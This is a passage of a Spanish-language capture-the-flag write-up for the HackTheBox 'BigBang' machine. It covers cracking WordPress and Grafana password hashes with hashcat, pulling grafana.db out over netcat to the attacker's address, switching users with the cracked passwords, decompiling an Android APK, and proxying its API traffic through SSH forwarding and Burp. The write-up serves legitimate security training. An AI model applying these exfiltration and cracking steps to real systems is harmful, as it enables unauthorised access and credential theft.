$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics
Cracking performance lower than expected?
[...] snip [...]
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 400 (phpass)
Hash.Target......: ..\hash\bigbang_wp_hash
Time.Started.....: Thu Mar 06 20:05:06 2025 (10 secs)
Time.Estimated...: Thu Mar 06 20:05:16 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1993.1 kH/s (1.03ms) @ Accel:128 Loops:256 Thr:256 Vec:1
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 28688770/28688770 (100.00%)
Rejected.........: 0/28688770 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:7936-8192
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2a70656e74616e6f3132332a] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 50c Fan:  0% Util: 86% Core:2760MHz Mem:8250MHz Bus:8

Started: Thu Mar 06 20:05:01 2025
Stopped: Thu Mar 06 20:05:16 2025
PS C:\Users\sckull\Documents\hashcat-6.2.6>

User - Shawking

Ingresamos por SSH con las credenciales, logrando acceder a la maquina y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌─[sckull@parrot][~/htb/bigbang]
└──╼ $ssh shawking@bigbang.htb # quantumphysics
The authenticity of host 'bigbang.htb (10.10.11.52)' can't be established.
ED25519 key fingerprint is SHA256:w7PN9DfWgTxbKl4gY79ZdTPLHPbZEfNlJN/9PTBIFBM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'bigbang.htb' (ED25519) to the list of known hosts.
shawking@bigbang.htb's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Mar  7 02:06:35 AM UTC 2025

  System load:  0.11              Processes:             180
  Usage of /:   65.9% of 9.74GB   Users logged in:       0
  Memory usage: 27%               IPv4 address for eth0: 10.10.11.52
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Feb  4 22:05:54 2025 from 10.10.14.66
shawking@bigbang:~$ whoami;id;pwd
shawking
uid=1001(shawking) gid=1001(shawking) groups=1001(shawking)
/home/shawking
shawking@bigbang:~$ ls
snap  user.txt
shawking@bigbang:~$ cat user.txt 
dd71d6166578784cb63147d5bcffb0b6
shawking@bigbang:~$

Grafana - SQLite

En el directorio /opt encontramos la base de datos de grafana.

1
2
3
4
5
6
7
8
9
shawking@bigbang:~$ ls /opt
containerd  data
shawking@bigbang:~$ ls /opt/data/
csv  grafana.db  pdf  plugins  png
shawking@bigbang:~$ ls /opt/data/grafana.db 
/opt/data/grafana.db
shawking@bigbang:~$ file /opt/data/grafana.db 
/opt/data/grafana.db: SQLite 3.x database, last written using SQLite version 3044000, file counter 758, database pages 245, cookie 0x1bd, schema 4, UTF-8, version-valid-for 758
shawking@bigbang:~$

Transferimos la base de datos a kali.

1
2
3
# file transfer
nc -w 3 10.10.15.56 1234 < /opt/data/grafana.db
nc -lvp 1234 > grafana.db

Encontramos que la tabla user contiene dos columnas: hash y salt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
❯ sqlite3
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open grafana.db
sqlite> .tables
alert                        library_element_connection 
[...] snip [...]
file_meta                    user                       
folder                       user_auth                  
kv_store                     user_auth_token            
library_element              user_role                  
sqlite> .schema user;
CREATE TABLE `user` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL
, `version` INTEGER NOT NULL
, `login` TEXT NOT NULL
, `email` TEXT NOT NULL
, `name` TEXT NULL
, `password` TEXT NULL
, `salt` TEXT NULL
, `rands` TEXT NULL
, `company` TEXT NULL
, `org_id` INTEGER NOT NULL
, `is_admin` INTEGER NOT NULL
, `email_verified` INTEGER NULL
, `theme` TEXT NULL
, `created` DATETIME NOT NULL
, `updated` DATETIME NOT NULL
, `help_flags1` INTEGER NOT NULL DEFAULT 0, `last_seen_at` DATETIME NULL, `is_disabled` INTEGER NOT NULL DEFAULT 0, is_service_account BOOLEAN DEFAULT 0, `uid` TEXT NULL);
CREATE UNIQUE INDEX `UQE_user_login` ON `user` (`login`);
CREATE UNIQUE INDEX `UQE_user_email` ON `user` (`email`);
CREATE INDEX `IDX_user_login_email` ON `user` (`login`,`email`);
CREATE UNIQUE INDEX `UQE_user_uid` ON `user` (`uid`);
sqlite>

observamos que dos usuarios estan registrados en la base de datos, obtuvimos el hash y salt.

1
2
3
4
sqlite> select password,salt from user;
441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf
7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv
sqlite>

Utilizamos grafana2hashcat para obtener los hashes y salt en formato para hashcat.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
❯ nano hashes
❯ python3 grafana2hashcat.py hashes

[+] Grafana2Hashcat
[+] Reading Grafana hashes from:  hashes
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[*] Outfile was not declared, printing output to stdout instead.

sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=


[+] Now, you can run Hashcat with the following command, for example:

hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt

Cracking the Hash

Ejecutamos hashcat con el wordlist rockyou.txt sobre el archivo de hash. Hashcat muestra una contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
PS C:\Users\sckull\Documents\hashcat-6.2.6> .\hashcat -a 0 -m 10900 ..\hash\bigbang_grafana rockyou.txt
hashcat (v6.2.6) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.

[...] snip [...]

Optimizers applied:
* Zero-Byte
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1475 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang
Cracking performance lower than expected?

[...] snip [...]

Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: ..\hash\bigbang_grafana
Time.Started.....: Thu Mar 06 20:13:47 2025 (1 min, 35 secs)
Time.Estimated...: Thu Mar 06 20:15:22 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   150.4 kH/s (1.84ms) @ Accel:8 Loops:256 Thr:256 Vec:1
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 28688770/28688770 (100.00%)
Rejected.........: 0/28688770 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:9984-9999
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[233163616e6f617333] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 54c Fan: 47% Util: 87% Core:2760MHz Mem:8250MHz Bus:8

Started: Thu Mar 06 20:13:44 2025
Stopped: Thu Mar 06 20:15:24 2025
PS C:\Users\sckull\Documents\hashcat-6.2.6>

User - Developer

Utilizamos la contrasena con el usuario developer logrando acceder a este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
shawking@bigbang:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
shawking:x:1001:1001:Stephen Hawking,,,:/home/shawking:/bin/bash
developer:x:1002:1002:,,,:/home/developer:/bin/bash
shawking@bigbang:~$ su developer
Password: 
developer@bigbang:/home/shawking$ whoami;id
developer
uid=1002(developer) gid=1002(developer) groups=1002(developer)
developer@bigbang:/home/shawking$

Android App - Satellite

En el directorio principal de developer, en la carpeta android/ encontramos un apk: satellite-app.apk.

1
2
3
4
5
6
developer@bigbang:~/android$ ll
total 2424
drwxrwxr-x 2 developer developer    4096 Jun  7  2024 ./
drwxr-x--- 4 developer developer    4096 Jan 17 11:38 ../
-rw-rw-r-- 1 developer developer 2470974 Jun  7  2024 satellite-app.apk
developer@bigbang:~/android$

APK Analysis

Transferimos el archivo, y ejecutamos jadx-gui para el analisis de codigo.

Static Analysis

El archivo AndroidManifest.xml muestra el nombre del paquete, tres permisos, cinco activities y dos content providers.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="34" android:compileSdkVersionCodename="14" package="com.satellite.bigbang" platformBuildVersionCode="34" platformBuildVersionName="14">
    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="34"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <application android:theme="@style/Theme.Bigbang" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true" android:supportsRtl="true" android:extractNativeLibs="false" android:usesCleartextTraffic="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
        <activity android:theme="@style/Theme.Bigbang" android:name="com.satellite.bigbang.MainActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:theme="@style/Theme.Bigbang" android:name="com.satellite.bigbang.LoginActivity" android:exported="true"/>
        <activity android:name="com.satellite.bigbang.InteractionActivity"/>
        <activity android:name="com.satellite.bigbang.MoveCommandActivity"/>
        <activity android:name="com.satellite.bigbang.TakePictureActivity" android:exported="true"/>
        <provider android:name="com.squareup.picasso.PicassoProvider" android:exported="false" android:authorities="com.satellite.bigbang.com.squareup.picasso"/>
        <provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.satellite.bigbang.androidx-startup">
            <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
            <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
        </provider>
    </application>
</manifest>

El codigo muestra que el MainActivity carga el LoginActivity, este muestra dos EditText y un Botton, el contenido es enviado a un OnClickListener personalizado: View$OnClickListenerC0096b con el parametro 6.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// mainactivity
startActivity(new Intent(this, LoginActivity.class));

// LoginActivity
public final void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(R.layout.activity_login);
    this.f1990n = (Button) findViewById(R.id.login_button);
    this.f1991o = (EditText) findViewById(R.id.editTextUsername);
    this.f1992p = (EditText) findViewById(R.id.editTextPassword);
    this.f1990n.setOnClickListener(new View$OnClickListenerC0096b(6, this));
}

En el Listener encontramos un switch, en la expresion 6 (case 6) observamos que envia el valor de username y password como Json a AsyncTaskC0228f con el parametro 1.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// View$OnClickListenerC0096b - case 6
case 6:
    LoginActivity loginActivity = (LoginActivity) obj;
    String obj2 = loginActivity.f1991o.getText().toString();
    String obj3 = loginActivity.f1992p.getText().toString();
    if (obj2.isEmpty() || obj3.isEmpty()) {
        Toast.makeText(loginActivity, "Please enter username and password", 0).show();
        return;
    }
    try {
        JSONObject jSONObject = new JSONObject();
        jSONObject.put("username", obj2);
        jSONObject.put("password", obj3);
        new AsyncTaskC0228f((LoginActivity) obj, 1).execute(jSONObject.toString());
        return;
    } catch (Exception e2) {
        e2.printStackTrace();
        return;
    }

En AsyncTaskC0228f encontramos un switch, en la expresion a ejecutar se observa una solicitud POST al subdominio app.bigbang.htb, puerto 9090 y “endpoint” /login, probablemente una API, username y password son enviados, se realiza una autenticacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// AsyncTaskC0228f - case 1
public final String a(String... strArr) { // doInBackground()
// [..] snip [..]
case 1:
    try {
        HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("http://app.bigbang.htb:9090/login").openConnection();
        httpURLConnection.setRequestMethod("POST");
        httpURLConnection.setRequestProperty("Content-Type", "application/json");
        httpURLConnection.setRequestProperty("Accept", "application/json");
        httpURLConnection.setDoOutput(true);
        OutputStream outputStream = httpURLConnection.getOutputStream();
        byte[] bytes = strArr[0].getBytes("utf-8");
        outputStream.write(bytes, 0, bytes.length);
        outputStream.close();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream(), "utf-8"));
        StringBuilder sb = new StringBuilder();
        while (true) {
            String readLine = bufferedReader.readLine();
            if (readLine == null) {
                String sb2 = sb.toString();
                bufferedReader.close();
                return sb2;
            }
            sb.append(readLine.trim());
        }
    } catch (Exception e2) {
        e2.printStackTrace();
        ((LoginActivity) contextWrapper).runOnUiThread(new androidx.activity.b(10, this));
        return null;
    }
// [..] snip [..]

De ser exitosa la autenticacion, obtiene el access_token de la respuesta y crea token_expiry_time, estos dos son enviados al activity InteractionActivity el cual es “inicializado”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// [..] snip [..]
public final void b(String str) { // onPostExecute()
// [..] snip [..]
switch (i2) {
    case 1:
        if (str != null) {
            try {
                ((LoginActivity) contextWrapper).f1993q = new JSONObject(str).getString("access_token");
                ((LoginActivity) contextWrapper).f1994r = System.currentTimeMillis() + 120000;
                Intent intent = new Intent((LoginActivity) contextWrapper, InteractionActivity.class);
                intent.putExtra("access_token", ((LoginActivity) contextWrapper).f1993q);
                intent.putExtra("token_expiry_time", ((LoginActivity) contextWrapper).f1994r);
                ((LoginActivity) contextWrapper).startActivity(intent);
                return;
            } catch (Exception e2) {
                e2.printStackTrace();
                return;
            }
        }
        return;
// [..] snip [..]

InteractionActivity muestra dos botones, ambos muestran contenido diferente al interactuar con estos, el Listener crea a() con el parametro 0 o 1, segun de lo que se elija.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public class InteractionActivity extends AppCompatActivity {
    // [..] snip [..]
    public final void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_interaction);
        this.f1988p = getIntent().getStringExtra("access_token");
        this.f1989q = getIntent().getLongExtra("token_expiry_time", 0L);
        this.f1986n = (Button) findViewById(R.id.button_action_1);
        this.f1987o = (Button) findViewById(R.id.button_action_2);
        this.f1986n.setOnClickListener(new a(this, 0));
        this.f1987o.setOnClickListener(new a(this, 1));
    }
}

Un switch ejecuta diferentes Activities, el primero (case 0) MoveCommandActivity, el segundo (case 1) TakePictureActivity.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// a()
public final void onClick(View view) {
    int i2 = this.f3684a;
    InteractionActivity interactionActivity = this.f3685b;
    switch (i2) {
        case 0:
            int i3 = InteractionActivity.f1985r;
            interactionActivity.getClass();
            if (System.currentTimeMillis() > interactionActivity.f1989q) {
                Toast.makeText(interactionActivity, "The token has expired. Please log in again.", 0).show();
                return;
            }
            Intent intent = new Intent(interactionActivity, MoveCommandActivity.class); // se especifica el activity
            intent.putExtra("access_token", interactionActivity.f1988p);
            intent.putExtra("token_expiry_time", interactionActivity.f1989q);
            interactionActivity.startActivity(intent);
            return;
        default:
            int i4 = InteractionActivity.f1985r;
            interactionActivity.getClass();
            if (System.currentTimeMillis() > interactionActivity.f1989q) {
                Toast.makeText(interactionActivity, "The token has expired. Please log in again.", 0).show();
                return;
            }
            Intent intent2 = new Intent(interactionActivity, TakePictureActivity.class); // se especifica el activity
            intent2.putExtra("access_token", interactionActivity.f1988p);
            intent2.putExtra("token_expiry_time", interactionActivity.f1989q);
            interactionActivity.startActivity(intent2);
            return;
    }
}

MoveCommandActivity obtiene tres valores los cuales son enviados a /command, tras la ejecucion muestra un mensaje agregando la respuesta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public class MoveCommandActivity extends AppCompatActivity {
// [..] snip [..]
    public final void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_move_command);
        this.f1999q = getIntent().getStringExtra("access_token");
        this.f2000r = getIntent().getLongExtra("token_expiry_time", 0L);
        this.f1996n = (EditText) findViewById(R.id.editTextX);
        this.f1997o = (EditText) findViewById(R.id.editTextY);
        this.f1998p = (EditText) findViewById(R.id.editTextZ);
        ((Button) findViewById(R.id.sendCommandButton)).setOnClickListener(new View$OnClickListenerC0096b(7, this));
    }
}

// View$OnClickListenerC0096b(7, this)
try {
    JSONObject jSONObject2 = new JSONObject();
    jSONObject2.put("command", "move");
    jSONObject2.put("x", Float.parseFloat(obj4));
    jSONObject2.put("y", Float.parseFloat(obj5));
    jSONObject2.put("z", Float.parseFloat(obj6));
    new AsyncTaskC0228f((MoveCommandActivity) obj, 2).execute(jSONObject2.toString());
    return;
}
// AsyncTaskC0228f
// doInBackground() 
default:
    try {
        HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL("http://app.bigbang.htb:9090/command").openConnection();
        httpURLConnection2.setRequestMethod("POST");
        httpURLConnection2.setRequestProperty("Content-Type", "application/json");
        httpURLConnection2.setRequestProperty("Authorization", "Bearer " + ((MoveCommandActivity) contextWrapper).f1999q);
        httpURLConnection2.setDoOutput(true);
        OutputStream outputStream2 = httpURLConnection2.getOutputStream();
        byte[] bytes2 = strArr[0].getBytes("utf-8");
        outputStream2.write(bytes2, 0, bytes2.length);
        outputStream2.close();
        BufferedReader bufferedReader2 = new BufferedReader(new InputStreamReader(httpURLConnection2.getInputStream(), "utf-8"));
        StringBuilder sb3 = new StringBuilder();
        while (true) {
            String readLine2 = bufferedReader2.readLine();
            if (readLine2 == null) {
                String sb4 = sb3.toString();
                bufferedReader2.close();
                return sb4;
            }
            sb3.append(readLine2.trim());
        }
    } 
// onPostExecute()
default:
    if (str != null) {
        Toast.makeText((MoveCommandActivity) contextWrapper, "Command executed: ".concat(str), 0).show();
        return;
    }

TakePictureActivity muestra un Spinner con multiples opciones, verifica que la aplicacion tenga permisos de almacenamiento. Un Listener es ejecutado y a su vez es ejecutado b() (AsyncTask), en este se obtiene el valor seleccionado del Spinner (Hashmap) y se agrega .png.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class TakePictureActivity extends AppCompatActivity {
// [..] snip [..]
    public final void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_take_picture);
        this.f2001n = (Spinner) findViewById(R.id.locations_spinner);
        this.f2002o = (Button) findViewById(R.id.submit_button);
        HashMap hashMap = new HashMap();
        this.f2004q = hashMap;
        hashMap.put("Branchal Road", "1");
        this.f2004q.put("Uist Way", "2");
        this.f2004q.put("Crop field", "3");
        this.f2004q.put("Clearing", "4");
        this.f2004q.put("Lake", "5");
        this.f2004q.put("Kyle Drive", "6");
        this.f2004q.put("Northwood Path", "7");
        ArrayAdapter arrayAdapter = new ArrayAdapter(this, 17367048, new ArrayList(this.f2004q.keySet()));
        arrayAdapter.setDropDownViewResource(17367049);
        this.f2001n.setAdapter((SpinnerAdapter) arrayAdapter);
        this.f2003p = getIntent().getStringExtra("access_token");
        Object obj = e.f3731a;
        if (checkPermission("android.permission.WRITE_EXTERNAL_STORAGE", Process.myPid(), Process.myUid()) != 0) {
            String[] strArr = {"android.permission.WRITE_EXTERNAL_STORAGE"};
            int i2 = AbstractC0225c.f3719b;
            if (TextUtils.isEmpty(strArr[0])) {
                throw new IllegalArgumentException("Permission request for permissions " + Arrays.toString(strArr) + " must not contain null or empty values");
            }
            requestPermissions(strArr, 1);
        }
        this.f2002o.setOnClickListener(new View$OnClickListenerC0096b(8, this));
    }
}
// View$OnClickListenerC0096b - 8
default:
    TakePictureActivity takePictureActivity = (TakePictureActivity) obj;
    new q0.b(takePictureActivity).execute(Q.d((String) takePictureActivity.f2004q.get(takePictureActivity.f2001n.getSelectedItem().toString()), ".png"));
    return;

El AsyncTask realiza una solicitud POST con contenido JSON donde output_file tiene el valor de 1.png (donde 1 representa la opcion), obtiene la respuesta la cual es una imagen y la almacena en el dispositivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public final class b extends AsyncTask {
// [..] snip [..]
    public final Object doInBackground(Object[] objArr) {
        this.f3686a = ((String[]) objArr)[0];
        try {
            HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("http://app.bigbang.htb:9090/command").openConnection();
            httpURLConnection.setRequestMethod("POST");
            httpURLConnection.setRequestProperty("Content-Type", "application/json");
            httpURLConnection.setRequestProperty("Authorization", "Bearer " + this.f3687b.f2003p);
            httpURLConnection.setDoOutput(true);
            String str = "{\"command\": \"send_image\", \"output_file\": \"" + this.f3686a + "\"}";
            OutputStream outputStream = httpURLConnection.getOutputStream();
            byte[] bytes = str.getBytes("utf-8");
            outputStream.write(bytes, 0, bytes.length);
            outputStream.close();
            if (httpURLConnection.getResponseCode() != 200) {
                return Boolean.FALSE;
            }
            InputStream inputStream = httpURLConnection.getInputStream();
            FileOutputStream fileOutputStream = new FileOutputStream(new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES), this.f3686a));
            byte[] bArr = new byte[1024];
            while (true) {
                int read = inputStream.read(bArr);
                if (read == -1) {
                    fileOutputStream.close();
                    inputStream.close();
                    return Boolean.TRUE;
                }
                fileOutputStream.write(bArr, 0, read);
            }
   
// [..] snip [..]
    public final void onPostExecute(Object obj) {
        boolean booleanValue = ((Boolean) obj).booleanValue();
        TakePictureActivity takePictureActivity = this.f3687b;
        if (booleanValue) {
            Toast.makeText(takePictureActivity, "Request Successful and Image Downloaded", 0).show();
        } else {
            Toast.makeText(takePictureActivity, "Request Failed", 0).show();
        }
    }
}

Mas alla de lo anterior no se observo algun otro tipo de interaccion con la “API”. Obtuvimos el contenido del apk para observar la existencia de alguna otro endpoint o subdominio en el codigo, no encontramos mas informacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
❯ apktool d satellite-app.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=gasp
I: Using Apktool 2.7.0-dirty on satellite-app.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/sckull/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
❯ ls
 satellite-app   satellite-app.apk
❯ grep -iwr bigbang.htb
smali/q0/b.smali:    const-string v3, "http://app.bigbang.htb:9090/command"
smali/u/f.smali:    const-string v9, "http://app.bigbang.htb:9090/command"
smali/u/f.smali:    const-string v9, "http://app.bigbang.htb:9090/login"

Dynamic Analysis

Proxy & Device

Modificamos el proxy de BurpSuite a todas las interfaces para capturar todo el trafico de la aplicacion.

Creamos un nuevo “dispositivo” con Genymotion con la ultima version de Android, realizamos la instalacion del certificado de Burpsuite.

Tambien, especificamos el proxy de BurpSuite en la configuracion WiFi.

Tras generar trafico se muestra en BurpSuite.

Install App

Instalamos la aplicacion por medio de adb.

1
2
3
4
PS C:\Users\sckull\Documents\sharedvm> adb install .\satellite-app.apk
Performing Streamed Install
Success
PS C:\Users\sckull\Documents\sharedvm>

Port Forwarding

El puerto 9090 de BigBang no esta abierto, unicamente se muestra localmente.

1
2
3
4
developer@bigbang:~$ netstat -ntpl | grep 9090
(No info could be read for "-p": geteuid()=1002 but you should be root.)
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -                   
developer@bigbang:~$

Obtuvimos el puerto localmente utilizando SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌─[sckull@parrot][~/htb/bigbang]
└──╼ $ssh developer@bigbang.htb -L 9090:127.0.0.1:9090 -fN 
developer@bigbang.htb's password: 
┌─[sckull@parrot][~/htb/bigbang]
└──╼ $netstat -ntpl | grep 9090
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      592102/ssh          
tcp6       0      0 ::1:9090                :::*                    LISTEN      592102/ssh          
┌─[sckull@parrot][~/htb/bigbang]
└──╼ $

Upstream Proxying

La aplicacion esta utilizando un dominio y puerto para enviar las solicitudes, el puerto lo tenemos localmente, utilizamos Upstream Proxying para enviar estas solicitudes al localhost.

Login & Commands

Abrimos la aplicacion para observar el comportamiento y el trafico generado por este, teniendo en cuenta el analisis de codigo anterior. La aplicacion muestra una interfaz de Login.

Ingresamos las credenciales developer:bigbang, la aplicacion realiza una solicitud JSON con estas y se observa en la respuesta el access_token, por lo que son validas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# Request
POST http://app.bigbang.htb:9090/login HTTP/1.1
Content-Type: application/json
Accept: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel Build/TQ2B.230505.005.A1)
Host: app.bigbang.htb:9090
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
Content-Length: 45

{"username":"developer","password":"bigbang"}

# Response
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.10.12
Date: Tue, 11 Mar 2025 09:34:16 GMT
Content-Type: application/json
Content-Length: 356
Connection: close

{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MTY4NTY1NiwianRpIjoiOTIzMjcxZWItZDNlZC00OTI1LTgwZGYtMWNhNTkyYWY0NzQ4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MTY4NTY1NiwiY3NyZiI6IjU5OTlmODJmLWIwNTYtNDFhNi04NTdmLTcwN2E4NDg1NzhhOCIsImV4cCI6MTc0MTY4OTI1Nn0.psEQqtQ2mo3Sd-G_QSngdZTB7MuWJuLzNT-79SL9C0U"}

La aplicacion nos muestra un nueva interfaz (InteractionActivity) con dos botones (MoveCommandActivity, TakePictureActivity).

Coordinates nos muestra una interfaz (TakePictureActivity) donde encontramos cajas de texto para coordenadas.

Tras ingresar y enviar las coordenadas se observa un mensaje. La solicitud es enviada como JSON con las coordenadas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# Request
POST http://app.bigbang.htb:9090/command HTTP/1.1
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MTY4NjAwOCwianRpIjoiMzg5NTUwOGEtMDRlOC00ZjA5LWExYWItZDRmN2E2NzZiYmFhIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MTY4NjAwOCwiY3NyZiI6ImExMzg2MWJmLTk1NjYtNGEyYy1hNGE2LTMxNDczNWJiYzBlNCIsImV4cCI6MTc0MTY4OTYwOH0.06ZPcgcfq6L5DI6vG2QUex7Zt2ShBQyy-qys-VnorZc
User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel Build/TQ2B.230505.005.A1)
Host: app.bigbang.htb:9090
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
Content-Length: 36

{"command":"move","x":1,"y":2,"z":3}

# Response
